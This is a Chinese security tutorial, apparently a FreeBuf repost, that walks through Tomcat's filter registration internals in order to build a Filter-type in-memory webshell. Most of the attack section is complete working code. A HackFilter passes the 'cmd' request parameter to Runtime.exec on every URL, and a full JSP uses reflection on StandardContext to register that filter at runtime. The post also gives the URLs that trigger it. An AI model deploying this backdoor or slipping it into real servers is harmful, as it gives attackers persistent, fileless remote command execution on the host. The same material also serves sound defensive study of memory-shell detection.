本文首发于FreeBuf https://www.freebuf.com/articles/web/365501.html

在学习了白日梦组长师傅的《java内存马专题1-servlet内存马》后深受启发,决定自己去探索学习一下Filter型内存马,收获颇多,在此分享给大家。

一、神奇的tomcat

为了学习tomcat内存马,我们应该先了解一下tomcat的基本结构

Tomcat = WEB 服务器 + Servlet 容器

image-20230428161557131.png

Connector做的事情:

  1. 监听网络端口
  2. 接收网络请求
  3. 读取请求中的字节流,并将字节流转换为Request对象
  4. 将Request对象发送到Container ,同时接收Container 返回的Response对象
  5. 转换Response对象为字节流并响应网络请求

小结:Connector是Tomcat与外部连接的通道,接收各种不同协议的网络请求

为了学习tomcat内存马,我们需要重点关注的是处理内部 Servlet的Container

Container使用Pipeline-Valve管道来处理request对象:
image-20230428165106021.png

  • Valve表示管道的阀门,每个管道都有一个BaseValve,在最后一个执行。
  • request对象最先进入EnginePipeline进行处理,依次会执行每一个Valve,直到StandardWrapperValve
  • 当执行到StandardWrapperValve的时候,会在StandardWrapperValve中创建FilterChain,并调用其doFilter方法来处理请求,这个FilterChain包含着我们配置的与请求相匹配的FilterServlet,其doFilter方法会依次调用所有的Filter的doFilter方法和Servlet的service方法。

参考资料:https://www.cnblogs.com/java-chen-hao/p/11316795.html

二、Tomcat注册Filter的过程

根据组长的思路,先写一个Filter,来看一下tomcat是如何注册一个filter的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class HelloFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
//若传入的参数中有cmd,执行cmd中的命令
if(request.getParameter("cmd")!=null){
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
System.out.println("执行了HelloFilter过滤器");
chain.doFilter(request,response);
}

@Override
public void destroy() {
Filter.super.destroy();
}
}

在web.xml文件中配置好,/*表示匹配所有路径

1
2
3
4
5
6
7
8
<filter>
<filter-name>HelloFilter</filter-name>
<filter-class>com.example.memory_horse.HelloFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>HelloFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

当我们访问任意路径加上?cmd=calc时,都会执行到Runtime.getRuntime().exec(request.getParameter("cmd"));弹出计算器

调试一下刚才执行的代码

我们知道,在ContextConfig类的configureContext方法中将解析xml文件后的内容加载到Context中(即tomcat在configureContext方法中正式加载xml文件)
image-20230426195117454.png
我们在ContextConfig类的configureContext方法开始调试,断点下到1446行
image-20230504155927185.png
该方法中与Filter相关的代码有1446行~1454行,这些代码做了两件事:

  • addFilterDef
  • addFilterMap

下面我们具体研究一下这两步

addFilterDef

context.addFilterDef(filter)中的filter是一个FilterDef类的对象

1
2
3
4
5
6
7
8
9
//FilterDef类
public class FilterDef implements Serializable {
private transient Filter filter = null;
private String filterClass = null;
private String filterName = null;
......
getter();
setter();
}

我们可以手动创建一个FilterDef对象加入到context中,我们只需关注其中的filter,filterNamefilterClass三个属性

1
2
3
4
5
6
7
8
//新创建一个FilterDef对象
FilterDef filterDef = new FilterDef();
//设置其属性,HackFilter是我们的恶意类
filterDef.setFilter(new HackFilter());
filterDef.setFilterName("HackFilter");
filterDef.setFilterClass(HackFilter.class.getName());
//将构造好的FilterDef对象加入到context
context.addFilterDef(filterDef);

addFilterMap

同理,我们添加一个FilterMap对象

1
2
3
4
5
6
7
//新创建一个FilterMap对象
FilterMap filterMap = new FilterMap();
//设置其属性,HackFilter是我们刚构造的Filter
filterMap.setFilterName("HackFilter");
filterMap.addURLPattern("/*");
//将构造好的FilterMap对象加入到context
context.addFilterMap(filterMap);

filterConfigs.put

但是我们发现仅仅只靠这两步是不够的

图片来自https://blog.csdn.net/u010883443/article/details/107463782
image-20230504191320076.png
蓝框中的是我们已经完成的操作,即addFilterDefaddFilterMap

但是我们发现在后面的filterStart()中也有一些针对Filter的关键操作
image-20230504191836105.png
在filterStart()方法中,filterDef被封装为ApplicationFilterConfig类型的对象,然后重新添加到了filterConfigs

我们再来看一下filterConfigs是什么
image-20230504193812213.png
我们发现filterConfigs就是StandardContext类的Map类型的成员属性

因此,我们下一步要做的是在context中添加一个ApplicationFilterConfig类的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
//反射得到ApplicationFilterConfig类的构造函数
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
//filterDef被封装为ApplicationFilterConfig类的对象
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);

//反射得到StandardContext类的filterConfigs属性
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
//得到context对象的filterConfigs属性
Map filterConfigs = (Map) Configs.get(context);
//在context对象的filterConfigs属性中添加上我们构造好的ApplicationFilterConfig类的对象
filterConfigs.put("HackFilter",filterConfig);

三、写一个恶意Filter注册到tomcat

写一个恶意Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class HackFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
//若传入的参数中有cmd,执行cmd中的命令
if(request.getParameter("cmd")!=null){
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
System.out.println("执行了HackFilter过滤器");
chain.doFilter(request,response);
}

@Override
public void destroy() {
Filter.super.destroy();
}
}

通过上一节的学习,我们可以把我们构造的HackFilter添加进context中了。
但是,我们在程序运行过程中怎么获取context对象呢?

jsp内置对象request有一个getServletContext()方法,可以获得一个ServletContext类的对象
image-20230504200303444.png
那么如何通过servletContext找到StandardContext呢?
image-20230426220027502.png
通过反射获取**context(ApplicationContext)属性,他是一个ApplicationContext对象,再获取它的context(StandardContext)**属性,得到了一个StandardContext类的对象。

用来获取StandardContext类的对象的代码如下:

1
2
3
4
5
6
7
8
9
10
11
//获取到了ServletContext类的对象
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
//获取到了ApplicationContext类的对象
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
//获取到了StandardContext类的对象
StandardContext context = (StandardContext) standardContextField.get(applicationContext);

四、完整代码

综上,我们可以先梳理一下整个步骤:

  1. 获取context
  2. addFilterDef
  3. addFilterMap
  4. 封装filterDef为ApplicationFilterConfig类的对象
  5. 在context对象的filterConfigs属性中添加上我们构造好的ApplicationFilterConfig类的对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class HackFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
//若传入的参数中有cmd,执行cmd中的命令
if(request.getParameter("cmd")!=null){
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
System.out.println("执行了HackFilter过滤器");
chain.doFilter(request,response);
}

@Override
public void destroy() {
Filter.super.destroy();
}
}
%>

<%
//动态注册Filter
//1.获取context
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);

//2.addFilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new HackFilter());
filterDef.setFilterName("HackFilter");
filterDef.setFilterClass(HackFilter.class.getName());
context.addFilterDef(filterDef);

//3.addFilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("HackFilter");
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);

//4.封装filterDef为ApplicationFilterConfig类的对象
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);

//5.在context对象的filterConfigs属性中添加上我们构造好的ApplicationFilterConfig类的对象
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
filterConfigs.put("HackFilter",filterConfig);

%>
</body>
</html>

浏览器访问http://localhost:8080/memory_horse_war_exploded/addFilter.jsp内存马写入内存

访问http://localhost:8080/memory_horse_war_exploded/?cmd=calc运行我们的恶意Filter

image-20230504200843844.png

五、 关于setDispatcher

我们见到大多数人写的Filter内存马中都有这么一句:

1
filterMap.setDispatcher(DispatcherType.REQUEST.name());

这个方法用来设置FilterMap的当前状态,该状态表示何时应用过滤器。

REQUEST表示请求的调度程序类型,是容器用于选择需要应用于请求的过滤器的一种类型。
image-20230504202808036.png
并且该属性是有一个初始值的
image-20230504202856513.png
我们看到,如果没有设置dispatcher,会默认返回一个REQUEST

所以说,我们可以不写这句话:filterMap.setDispatcher(DispatcherType.REQUEST.name());